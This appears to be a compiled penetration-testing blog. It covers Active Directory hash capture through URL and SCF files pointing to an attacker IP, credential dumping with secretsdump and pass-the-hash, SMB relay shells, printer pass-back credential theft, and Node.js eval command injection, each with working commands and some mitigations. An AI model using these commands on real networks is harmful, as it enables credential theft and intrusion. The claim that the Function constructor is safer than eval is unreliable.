[Active Directory] URL file attacks

A URL file attack captures account hashes via a user accessing a folder that contains a specially crafted file that forces the user to request an icon off the attackers machine. The resource does not exist though. The act of initiating a connection to the attackers machine is how the hash is captured. Also note that the user does not need to open the file, nor is their any indication that anything has happened behind the scenes. They just need to open the folder that the file is located in which makes this a perfect for shared folders.

This attack is only applicable to intranet communication and does not work with outside network.

This is a post compromise attack and following are the conditions

  • There is a file share accessible across the network
  • Attacker has compromised at least one machine which has access to the file share with write permissions

1. Create The File

The file name must begin with either a “@” symbol or a “~” symbol and the filetype must be “url”. Example: “@readme.url”

2. Contents of the file

[InternetShortcut]
URL=http://google.com
WorkingDirectory=%username%
IconFile=\\<attacker IP>\%USERNAME%.icon
IconIndex=1

Extra

The same can be done with an scf file. Example: @readme.scf

[Shell]
Command=2
IconFile=\\<attacker IP>\Share\test.ico
[Taskbar]
Command=ToggleDesktop

Explanation

  • [InternetShortcut] is a header line that specifies the file type and indicates that the following lines are instructions for an internet shortcut
  • URL=anyurl specifies the URL of the website or web page that the shortcut should launch. The actual URL should be provided in place of the “anyurl” placeholder
  • WorkingDirectory=anydir specifies the default working directory for the shortcut. In most cases, this will be the directory in which the shortcut file is located. You can replace the “anydir” placeholder with the full path of the directory, if necessary
  • IconFile=\\x.x.x.x\%USERNAME%.icon specifies the location of the icon file to use for the shortcut. The icon file can be stored on a remote computer, which is specified by the IP address “x.x.x.x”. The “%USERNAME%” placeholder is replaced with the current user’s username. The “.icon” extension specifies the type of file that contains the icon data
  • IconIndex=1 specifies which icon in the specified icon file should be used for the shortcut. In this case, the number “1” references to the first icon in the file for use. If the icon file contains multiple icons, choose the number accordingly to select a different icon

Exploitation

1. Connect to a share and drop the file (.url or .scf) (@readme.url or @readme.scf) @ in the name sets the file at the top, make sure the file has the proper file type

2. Start responder with HTTP and SMB is turned ON

  • sudo responder -I eth0 -w -b -v -F

3. Wait for someone to connect to the share, and, you’ll get data back

Cracking with hashcat

1. Identify the hash type number using (https://hashcat.net/wiki/doku.php?id=example_hashes)

  • search NTLMv2

https://vk9-sec.com/wp-content/uploads/2020/06/word-image-2673-17.png

2. Knowing the hash ID from https://hashcat.net/ we can proceed to use the hash file, and a wordlist

  • hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

https://vk9-sec.com/wp-content/uploads/2020/06/word-image-2673-18.png

Note: as you can see Status: Cracked, and the password is displayed next to the hash, Password: Kyuubi123

Cracking using John

1. Identify the hash type using –list=format

  • john –list=formats | awk -F”, ” ‘{for (i=1; i<=NF; i++) print $i}’ | grep -i ntlm

https://vk9-sec.com/wp-content/uploads/2020/06/word-image-2673-19.png

2. Run john against our hash file, set the hash type and the wordlist

  • john –wordlist=/usr/share/wordlists/rockyou.txt –format=netntlmv2 hash.txt

https://vk9-sec.com/wp-content/uploads/2020/06/word-image-2673-20.png

Source

https://swepstopia.com/url-file-attack/

https://www.hackingloops.com/url-file-attack-and-printnightmare/

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#scf-and-url-file-attack-against-writeable-share

https://zsecurity.org/url-file-attacks-active-directory-pentesting/

https://www.sevenlayers.com/index.php/blog/494-url-file-attacks

[Active Directory] Post-Compromise Enumeration

In an Active Directory domain, a lot of interesting information can be retrieved via LDAP by any authenticated user (or machine). This makes LDAP an interesting protocol for gathering information in the recon phase of a pentest of an internal network. A problem is that data from LDAP often is not available in an easy to read format.

Generally, you’ll need at least the following permissions:

Read Access to Active Directory:

  • The account should have read access to the Active Directory structure to retrieve information about users, groups, and other directory objects.

Replicating Directory Changes:

  • For more detailed information, such as the last logon time of users, the account may need the “Replicating Directory Changes” permission. This permission is required for attributes that are not included in the default read access.

Administrative Privileges (Optional):

  • In some cases, ladpdumpdomain may require administrative privileges to retrieve certain information. If you’re looking to gather data on administrative groups or accounts, the account running the tool may need to be a member of a group with sufficient privileges.

Network Access:

  • Ensure that the account has the necessary network access to connect to the domain controller and query Active Directory.

Ldapdomain enum

ldapdomaindump is a tool used for dumping information from Active Directory, including user accounts, group memberships, and other relevant details, by collecting and parsing information available via LDAP and outputting it in a human readable HTML format, as well as machine readable json and csv/tsv/greppable files.

You can find the tool on GitHub or other reliable sources. (https://github.com/dirkjanm/ldapdomaindump)

The tool was designed with the following goals in mind:

  • Easy overview of all users/groups/computers/policies in the domain
  • Authentication both via username and password, as with NTLM hashes (requires ldap3 >=1.3.1)
  • Possibility to run the tool with an existing authenticated connection to an LDAP service, allowing for integration with relaying tools such as impackets ntlmrelayx

The tool outputs several files containing an overview of objects in the domain:

  • domain_groups: List of groups in the domain
  • domain_users: List of users in the domain
  • domain_computers: List of computer accounts in the domain
  • domain_policy: Domain policy such as password requirements and lockout policy
  • domain_trusts: Incoming and outgoing domain trusts, and their properties

As well as two grouped files:

  • domain_users_by_group: Domain users per group they are member of
  • domain_computers_by_os: Domain computers sorted by Operating System

How to use ldapdomaindum

1. Execute the script (it is pre-installed in newer Kali Linux) against the Domain Controller server

  • sudo ldapdomaindump ldaps://192.168.0.100 -u ‘lab.local\vry4n’ -p IamAdmin123 -o data

ldapdomaindump: This is likely the name of a tool or script designed for extracting information from an LDAP (Lightweight Directory Access Protocol) server. It’s used to query and retrieve data from an LDAP directory.

ldaps://192.168.0.100: This specifies the LDAP server’s address and protocol. In this case, it’s using LDAPS, which is the secure version of LDAP over TLS/SSL. The server is located at the IP address 192.168.0.100.

-u ‘lab.local\vry4n’: This option specifies the username to be used for authentication. The provided username is in the format domain\username, where lab.local is the domain and vry4n is the username.

-p IamAdmin123: This option specifies the password associated with the provided username. In this case, the password is set to ‘IamAdmin123’.

-o data: creates a new folder and saves the files there

2. Inspect all the files looking for users, computers, trusts, groups, policies

Post enumeration using Bloodhound

1. Set up the tool

  • sudo pip install bloodhound

2. Run neo4j

  • sudo neo4j console

3. Navigate to the address provided by neo4j,in this case http://localhost:7474/

  • username: neo4j
  • password: neo4j

Note: After logging in you might be asked to change the password

4. Download and run bloodhound

  • wget https://github.com/BloodHoundAD/BloodHound/releases/download/4.0.2/BloodHound-linux-x64.zip
  • unzip BloodHound-linux-x64.zip
  • cd BloodHound-linux-x64
  • sudo ./BloodHound –no-sandbox

4. Use your neo4j credentials

  • username: neo4j
  • password: newneo4j

5. Inject data into Bloodhound, you can use bloodhound tool for this

  • mkdir bloodhound-results
  • cd bloodhound-results
  • sudo bloodhound-python -d lab.local -u vry4n -p IamAdmin123 -ns 192.168.0.100 -c all

bloodhound-python: This is a tool used for Active Directory (AD) enumeration and analysis. It helps identify attack paths, permissions, and potential security risks within an AD environment.

-d lab.local: Specifies the Active Directory domain to target, in this case, it’s set to ‘lab.local’.

-u vry4n: Specifies the username to be used for authentication. In this case, the username is ‘vry4n’.

-p IamAdmin123: Specifies the password associated with the provided username. Here, the password is set to ‘IamAdmin123’.

-ns 192.168.0.100: Specifies the target Active Directory server’s IP address. It’s set to ‘192.168.0.100’.

-c all: Specifies the collection method. In this case, ‘all’ indicates that all available data should be collected. This includes information about domains, users, groups, computers, group memberships, permissions, etc.

6. In Bloodhound click on “upload data”, selectthe .json files, click open

7. Once data is loaded it is displayed in Bloodhound, you can start your searches and mapping relationships

Post enumeration using Plumhound

1. We need to run this tool on top of Bloodhound & Neo4j which should be running (https://github.com/PlumHound/PlumHound) , to set up this tool

  • git clone https://github.com/PlumHound/PlumHound.git
  • cd PlumHound
  • sudo pip3 install -r requirements.txt

2. Run the tool to do a test, using neo4j password

  • sudo python3 PumHound.py –easy -p newneo4j

3. Make sure all the tasks completed

4. Knowing that the test completed, now you can run a task, read PlumHound documentation to know about tasks, this will create a new folder with a Report.zip file

  • sudo python3 PumHound.py -x tasks/default.tasks -p <neo4j password>

5. Unzip and start looking at the data

  • cd reports
  • unzip Reports.zip

Health check with PingCastle

1. Having remote access to the computer we can run PingCastle executable, Download the tool from (https://www.pingcastle.com/download/)

2. Using cmd or powershell run the executable

  • .\PingCastle.exe

3. Select the type of check, in this case I’ll select 1. HealthCheck, then enter the domain

4. It may take some minutes until it completes, it creates 2 files with data .html & .xml

5. opening this file we get a lot of information about the domain, and possible misconfigurations.

[Active Directory] Dumping credentials with impacket-secretsdump

Impacket SecretsDump is a powerful tool used in penetration testing and ethical hacking for extracting plaintext credentials and other sensitive information from Windows systems. Developed in Python, Impacket is an open-source collection of Python classes for working with network protocols. SecretsDump, a part of the Impacket suite, focuses specifically on extracting credentials and secrets from Windows machines.

Hive Details Format or credential material
SAM stores locally cached credentials (referred to as SAM secrets) LM or NT hashes
SECURITY stores domain cached credentials (referred to as LSA secrets) Plaintext passwords

LM or NT hashes

Kerberos keys (DES, AES)

Domain Cached Credentials (DCC1 and DCC2)

Security Questions (L$SQSA<SID>)

SYSTEM contains enough info to decrypt SAM secrets and LSA secrets N/A

Capabilities:

  • Credential Extraction
  • Kerberos Ticket Extraction
  • NTLM Hash Dumping
  • Local and Remote Operations
  • Pass-the-Ticket (PTT) Attack

How to use

1. Display the tool help

  • impacket-secretsdump -h

2. Remote dumping of SAM & LSA secrets

  • impacket-secretsdump lab.local/vry4n:IamAdmin123@192.168.0.101

3. dump the NTLM from DC, Active directory users

  • impacket-secretsdump lab.local/vry4n:IamAdmin123@192.168.0.100 -just-dc-ntlm

4. Remote dumping of SAM & LSA secrets (pass-the-hash)

  • secretsdump.py -hashes ‘LMhash:NThash’ ‘DOMAIN/USER@TARGET’
  • impacket-secretsdump lab.local/administrator@192.168.0.100 -hashes aad3b435b51404eeaad3b435b51404ee:702262e2d64f9c0df2bec8ca45ff2985

5. Remote dumping of SAM & LSA secrets (pass-the-ticket)

  • secretsdump.py -k ‘DOMAIN/USER@TARGET’

6. Offline dumping of LSA secrets from exported hives

  • secretsdump.py -security ‘/path/to/security.save’ -system ‘/path/to/system.save’ LOCAL

7. Offline dumping of SAM secrets from exported hives

  • secretsdump.py -sam ‘/path/to/sam.save’ -system ‘/path/to/system.save’ LOCAL

8. Offline dumping of SAM & LSA secrets from exported hives

  • secretsdump.py -sam ‘/path/to/sam.save’ -security ‘/path/to/security.save’ -system ‘/path/to/system.save’ LOCAL

[Active Directory] SMB Relay attack

SMB is a network protocol used by Windows-based systems to share files, printers, and other resources. In an SMB relay attack, an attacker intercepts and relays authentication messages between a client and a server. The attacker essentially tricks the systems into thinking they are communicating with each other when, in fact, the attacker is mediating the conversation.

SMB signing verifies the origin and authenticity of SMB packets. Effectively this stops MiTM SMB relay attacks from being successful. If this is enabled and required on a machine, we will not be able to perform a successful SMB relay attack.

Example of SMB communication

  • NetBIOS session established between the client and the server,
  • Server and client negotiation the SMB protocol dialect,
  • Client logs on to the server with the proper credentials,
  • Client will connect to a shared resource hosted on the server (i.e. wireless printer),
  • Client opens a file on the share, and,
  • Client reads or edits the requested resource. That would be a top-level overview of what happens during a regular SMB exchange.

Systems that are vulnerable to this attack have SMB signing configured to the following:

  • SMB Signing enabled but not required
  • SMB Signing disabled

Systems that are not vulnerable to this attack have SMB signing configured to the following:

  • SMB signing enabled and required

By default, only Domain Controllers have SMB signing set to required. However, Microsoft is now beginning to make this the default settings for all clients systems starting with Windows 11 Pro and Enterprise insider builds: https://techcommunity.microsoft.com/t5/storage-at-microsoft/smb-signing-required-by-default-in-windows-insider/ba-p/3831704

Requirements

  • SMB signing must be disabled or not enforced on the target
  • Must be on the local network
  • Relayed user credentials must be admin on machine for any real value, for example; local admin to the target machine or member of the Domain Administrators group.

Preparation

1. SMB & HTTP modules should be OFF in responder tool (/usr/share/responder/Responder.conf)

  • sudo vi /usr/share/responder/Responder.conf

2. Run responder to verify the modules are turned off

  • sudo responder -I eth0 -w -b -v -F

Identification

1. Scan the target for smb2 security mode

  • nmap –script=smb2-security-mode.nse -p445 192.168.0.101 -Pn

Exploitation

1. Create a list of target hosts

  • vi targets.txt
  • cat targets.txt

2. Start responder

  • sudo responder -I eth0 -w -b -v -F

3. Start impacket-ntlmrelayx

  • impacket-ntlmrelayx -tf targets.txt -smb2support

4. Wait for a failed attempt from a user (local administrator or domain admin) to connect to SMB share using the wrong server name so DNS fails

Note: impacket-ntlmrelayx dumps SAM accounts (usernames & hashes)

Interactive mode (Shell)

1. Use Impacket-ntlmrelayx interactive mode (-i)

  • impacket-ntlmrelayx -tf targets.txt -smb2support -i

2. The tool started a new shell on port 11000, so now, you need to connect to it using your attack machine

  • nc 127.0.0.1 11000

3. Use help command to display the list of commands allowed to use

  • help

4. Sample of running commands

  • shares
  • use C$
  • ls

Run commands

1. You can also run commands as soon as you receive a connection using the flag (-c)

  • impacket-ntlmrelayx -tf targets.txt -smb2support -c “whoami”

Note: depending on the version of ntlmrelax this may fail

Recommendations

Enable SMB Signing on all devices

  • Pro: Completely Stops the attack.
  • Con: can cause performance issues with the file copies.

Disable NTLM authentication on network

  • Pro: Completely stops the attack.
  • Con: If kerberos stops working, Windows default back to NTLM.

Accounting tiering:

  • Pro: Limits domain admins to specific tasks(e.g. only log onto servers with need of DA)
  • Con: Enforcing the policy may be difficult.

Local admin restriction:

  • Pro: Can prevent a lot of lateral movement.
  • Con: Potential increase in the amount of service desk tickets.

Sources

https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adversary-in-the-middle/smb-relay

https://globalt4e.com/ataques-smb-relay/

https://github.com/m4lal0/smbrelay

https://heimdalsecurity.com/blog/what-is-an-smb-relay-attack/

[Active Directory] Printer Passback attack

I got this article from (https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack)

What is an MFP and MFP Hacking anyway?

Multi-Function Peripherals (MFPs) are an underutilized target in the realm of pen testing. When compared against other high-value targets, MFP hacking appears to be the low man on the totem pole. Penetration testers frequently attack other targets like web applications, file servers, and domain controllers. Too often, the thought is: Why waste your time on printers when you can attack things like systems potentially resulting in:

  • Credential Disclosure
  • File System Access
  • Memory Access

However, as illustrated by a recent and surprisingly interesting printer penetration test engagement, it turns out that a successful MFP breach can result in discovering all of the above findings, plus more. The best part is that MFP security and maintenance is often forgotten, potentially resulting in a quick win for someone looking to gain entry or escalate their privileges in a compromised network.

MFPs are the clunky pile of plastic typically located in your corporate closet. They’re equipped with network ports, USB drives, and an iPad looking control panel with its own set of specialized applications. These intelligent devices are capable of much more than the standard copy, print, and fax. Don’t forget the occasional paper jam too.

These industrial ink bleeders are loaded with plenty of functionality, like the ability to integrate with the corporate network to allow for convenient scan/email. This functionality necessitates:

  • Lightweight Directory Access Protocols (LDAP) integration
  • Simple Mail Transfer Protocol (SMTP) integration
  • Network Shares

What kind of information is at risk with an MFP? How can you, as a penetration tester, successfully hack into an MFP?

Did You Say LDAP?

MFP-LDAP integration can be a control mechanism to prevent unauthorized users from printing, copying, scanning, etc. It can also be used for email address lookups when leveraging the scan/copy to email functionality, as well as giving authenticated users access to their home folder located on the network.

Most MFP vendors (HP, Xerox, Ricoh, Canon, etc.) have their version of an LDAP implementation for their specific MFP, but they are generally the same concept. If you input a few attributes here, an IP address there, add a username/password, then you sit back and watch the “magic” happen.

Why MFP Hacking Matters

For the MFP to conduct queries on the LDAP server, the MFP must be configured with the appropriate credentials to access the LDAP server, or set with the ability to pass user credentials to the LDAP server. These credentials should be stored somewhere on the MFP and, if we can capture these credentials, then we may have an entryway into the network, and possibly more.

Introducing the Pass-Back Attack

The stored LDAP credentials are usually located on the network settings tab in the online configuration of the MFP and can typically be accessed via the Embedded Web Service (EWS). If you can reach the EWS and modify the LDAP server field by replacing the legitimate LDAP server with your malicious LDAP server, then the next time an LDAP query is conducted from the MFP, it will attempt to authenticate to your LDAP server using the configured credentials or the user-supplied credentials.

Accessing the EWS

Most MFPs ship with a set of default administrative credentials to access the EWS. These credentials are usually located in the Administrator Guide of the MFP in question and are a good place to start for initial access:

VendorUsernamePasswordRicohadminblankHPadminadmin or blankCanonADMINcanonEpsonEPSONWEBadmin

Another way to potentially access the EWS is through the Printer Exploitation Toolkit (PRET) and Praeda. Both tools are capable of Information Disclosure and Code Execution. If you are looking to utilize the tools for the first time, here are a few resources to help you get started:

Replace LDAP Attributes

Once you are authenticated to the EWS, locate the LDAP settings. During our test on an HP Color LaserJet MFP M477fdn, these settings were in the access control portion of the networking tab.

Next, we removed the existing LDAP Server Address, 192.168.1.100, and replaced it with our IP Address. Next, we saved the settings. Then, we created a Netcat listener on port 389, which was the existing port in the LDAP settings of the MFP.

Capture Credentials

The configuration of this MFP requires users to authenticate before using the available resources like the scan-to-email ability. The next time an unsuspecting user inputs their credentials at the control panel, the MFP will send their information to the LDAP server under our control.

  • nc -L -l 389

If the MFP supports and is configured to store LDAP credentials for email lookup (the model we tested did not), then these credentials can also be passed back to the LDAP server under our control.

Attacking SMTP and Windows Sign-in

This attack can also be conducted against other settings on the MFP that support authentication. Like LDAP, the Windows sign-in can be an alternative method to control access to the MFP resources. We substitute the existing domain with our own domain, and the next time a domain user signs in at the control panel, the credentials are sent to our domain controller.

Conducting attacks on the SMTP configuration can also produce fruitful results. The existing SMTP configuration for this MFP has stored credentials for SMTP authentication that can be passed back to us, after replacing the existing SMTP server with our own SMTP server.

Big Payout with Low Risk

MFPs do not get the attention they deserve when it comes to security. They are usually physically accessible, poorly managed, and shipped with default credentials. All of this, coupled with their payout potential, should make them a prime target for your next engagement.

Exploiting JavaScript EVAL() Code Injection

The eval function in JavaScript is a powerful but potentially dangerous feature. Its primary purpose is to execute arbitrary JavaScript code represented as a string.

There are four standard ways to evaluate strings in JavaScript:

  • eval(“code”)
  • new Function(“code”)
  • setTimeout(“code”, timeout)
  • setInterval(“code”, interval)

Example

1. This is a calculator application that prints the mathematical results on screen

2. Since, I had access to the source code I found this piece of code that demonstrated how the eval() function is in use

// Exporting an object with a method named 'calculate'
module.exports = {
    calculate(formula) { // Try block to handle potential errors during execution
        try {
// Using eval to execute a dynamically created function
// The function is created using a template literal, incorporating the 'formula' parameter
// The closing parentheses () immediately follows the function body, invoking the function. This pattern is known as an Immediately Invoked Function Expression (IIFE).
            return eval(`(function() { return ${ formula } ;}())`);
        
// Catch block to handle potential errors, specifically SyntaxError
        } catch (e) {
// Checking if the caught error is an instance of SyntaxError
            if (e instanceof SyntaxError) {
// Returning an error message if a SyntaxError occurs
                return 'Something went wrong!';
            }
        }
    }
}

Exploitation

1. First we need to understand how the application works

2. We try to make it crash

3. We can try to use some JavaScript functions and see if they get executed since this script doesn’t have sanitization we don’t need to worry about

  • process.platform
  • process.cwd()

4. Now we know we can execute commands we can try a more sophisticated command

  • require(‘child_process’).execSync(‘ls -l’).toString()

require(‘child_process’):

  • This part of the code imports the child_process module in Node.js. The child_process module provides functionality to spawn child processes, allowing you to execute external commands.

.execSync(‘ls -l’):

  • The execSync function is a synchronous method in the child_process module. It is used to execute shell commands synchronously, meaning the code will block until the command completes. In this case, it runs the ls -l command, which lists the contents of the current directory in long format.

.toString():

  • The result of execSync is a Buffer object containing the output of the command. The .toString() method is then used to convert the Buffer object into a string. This is necessary if you want to work with the command output as a string in your Node.js code.

Recommendations

Avoid eval Completely:

  • The safest approach is to avoid using eval altogether unless absolutely necessary. Most use cases for eval can be replaced with safer alternatives.

Use JSON.parse or Other Specific Functions:

  • If you need to parse JSON data, use JSON.parse instead of eval. JSON.parse is safer and only evaluates valid JSON data, reducing the risk of code injection.

Function Constructors:

  • If dynamic code execution is required, consider using the Function constructor. This is generally safer than eval because it creates a new function scope.

Validate and Sanitize User Inputs:

  • If you must use dynamically generated code, thoroughly validate and sanitize user inputs before incorporating them into the code. Ensure that the input adheres to expected patterns and does not contain malicious content.

Code Review and Static Analysis:

  • Regularly review code for potential security vulnerabilities, including the use of eval. Utilize static analysis tools to identify insecure patterns in your codebase.